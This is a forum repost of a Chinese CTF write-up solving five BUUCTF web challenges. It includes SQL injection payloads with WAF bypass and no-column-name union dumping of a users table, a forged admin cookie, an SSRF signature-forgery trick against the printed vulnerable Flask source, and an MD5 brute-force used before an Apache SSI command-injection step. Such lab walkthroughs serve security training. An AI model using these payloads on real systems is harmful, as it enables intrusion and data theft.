去皮卡多 发表于 2024-5-31 22:20:18

BUUCTF-WEB(56-60)

Web1

参考:
SWPU2019]Web1(小宇特详解)-CSDN博客
information_schema过滤与无列名注入_mysql 5.0以上的information表 如果给过滤用不了的 话你要怎么查库表列名-CSDN博客
upfine的博客 (cnblogs.com)
这边有个注册,我注册了一下,登陆进去
有个申请广告,我以为xss,但好像并没有呆板人会确认你的广告,所以钓鱼不到
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173128554-1718109145.png
所以在广告详情这里又发现了参数,应该这道题是sql注入
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173128071-1664934847.png
这过滤了空格,or,--+
所以我们/**/绕过空格,并且无法用order,所以我们直接一个一个试多少个字段,一共22个
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'2,3均回显
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173127600-1205159113.png
然后爆数据库
-1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173127075-655540746.png
然后开始爆表
这里发现有报错了,突然想起来information里面有or
所以换了一种
-1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
-1'/**/union/**/select/**/1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/sys.schema_auto_increment_columns/**/where/**/database_name="web1"'//这个不行https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173126611-1696268895.png
然后就是爆列,这无法爆出来,我们就无列名注入https://blog.csdn.net/weixin_49656607/article/details/119988304
然后这边为什么是三个列,我也没搞明确,试出来的?
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173126196-1479006814.png
Kookie

打开标题是一个登录框,他说检验cookie
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173125734-51626666.png
然后我们burp抓包加一个
Cookie:username=adminhttps://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173125287-2117394196.png
拿到flag
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173124735-1470799414.png
Futurella

啊,F12
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173124197-1488218224.png
SSRF Me

参考:
De1CTF 2019]SSRF Me - 东坡肉肉君 - 博客园 (cnblogs.com)
De1CTF 2019]SSRF Me_buuctf ssrf me-CSDN博客
已经提示了文件路径
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173123645-487414434.png
整理一下源码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
import importlib,sys
importlib.reload(sys)
sys.setdefaultencoding('latin1') #编码转换

app = Flask(__name__) #Flask框架

secert_key = os.urandom(16) #返回一个有n个byte那么长的一个string,然后很适合用于加密。


class Task:
    def __init__(self, action, param, sign, ip):#python的构造方法
      self.action = action
      self.param = param
      self.sign = sign
      self.sandbox = md5(ip)
      if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.path.exists判断括号里的文件是否存在的意思,括号内的可以是文件路径。
            os.mkdir(self.sandbox) #用于以数字权限模式创建目录。

    def Exec(self):# 定义的命令执行函数。
      result = {}
      result['code'] = 500
      if (self.checkSign()):
            if "scan" in self.action:#action的值包括scan
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)#文件读取的注入点
                if (resp == "Connection Timeout"):
                  result['data'] = resp
                else:
                  print(resp)#输出结果
                  tmpfile.write(resp)
                  tmpfile.close()
                result['code'] = 200
            if "read" in self.action:#action的值包括read
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
      else:
            result['code'] = 500
            result['msg'] = "Sign Error"
      return result

    def checkSign(self):
      if (getSign(self.action, self.param) == self.sign):#判断
            #hashlib.md5(secert_key + param + action).hexdigest()
            return True
      else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])#此路由用于测试
def geneSign():
    param = urllib.unquote(request.args.get("param", "")) #urllib.unquote字符串被当作url提交时会被自动进行url编码处理,当需要获取前端页面表单传过来的id值的时候,我们就需要用request.args.get,而不能用request.form
    action = "scan"
    return getSign(action, param)
    #hashlib.md5(secert_key + param + action).hexdigest()
    #即: hashlib.md5(secert_key + param + 'scan').hexdigest()

@app.route('/De1ta',methods=['GET','POST'])#此路由用于注入
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
      return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec()) #将一个Python数据结构转换为JSON

@app.route('/') # 根目录路由,就是显示源代码得地方
def index():
    return open("code.txt","r").read()


def scan(param):# 这是用来扫目录的函数
    socket.setdefaulttimeout(1)#代表经过t秒后,如果还未下载成功,自动跳入下一次操作,此次下载失败。
    try:
      return urllib.urlopen(param).read()[:50]
    except:
      return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):#wef,需要绕过
    check=param.strip().lower() #用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
    if check.startswith("gopher") or check.startswith("file"):#.startswith用于检查字符串是否是以指定子字符串开头,
      return True
    else:
      return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')有三个路由
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173123111-1453653888.png
然后看这里
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173122078-290997619.png
他将我们传入的param的这个参数以及action的这个参数传入到getSign函数
action已经固定为scan,而param为我们所传值,后面应该可以利用上
getSign函数定义如下,来生成一个署名,MD5
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173121414-415895575.png
来生成一个署名,MD5
再看challeng这个函数
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173121008-623948255.png
从cookie里面获取action以及sign,再传递一个param参数,param有一层waf,然后去实行Exec这个函数
再看exec这个函数
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173120383-1768314625.png
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173119584-546816274.png
先比较署名,然后进行下一步,如果action里面有scan这个字符串,就以scan读取文件,然后有read,就以read读取
我们需要利用利用scan将flag.txt的内容写入到result.txt中,然后read读取result.txt
我们需要scan以及read都要,也就是action=readscanm,所以我们构造署名,在geneSign创建的sign值后面Exec里面去比较时候这样刚好构成相称
md5(secert_key + flag.txtread + scan) = md5(secert_key + flag.txt + readscan)也就是这里会相称
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173119123-1536918066.png
所以我们先去/geneSign创一个署名、
/geneSign?param=flag.txtread然后得到一个署名
7afd8b4da9021c599e6561a2bf1f9bca
然后去/Delta去再传递一下Cookie就得到flag了
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173118649-528563559.png
EasySearch

参考:
BJDCTF2020 EasySearch_bjdctf2020easy search-CSDN博客
Apache SSI 远程命令实行漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)
我这边没扫到目次,根据wp是有一个index.php.swp这个备份文件
访问一下,看一下
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173118002-591442867.png
意思就是我们需要传递的密码里面,md5加密后前6位=‘6d0bc1'
脚本看一下
import hashlib

for i in range(10000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if(a=='6d0bc1'):
      print(i)https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173117202-956787084.png
然后我们抓包,post传递一下
username=1&password=2020666然后看响应包有一个
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173116781-354468840.png
然后我们访问一下
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173116162-1662787526.png
然后我以为会在XFF这些有命令实行,没找到
然后就是wp说到Apache SSI 远程命令实行漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)
然后post
username=&password=2020666访问一下
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173115584-684419589.png
接下来就是找flag
username=&password=2020666https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240531173114883-1359327342.png

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: BUUCTF-WEB(56-60)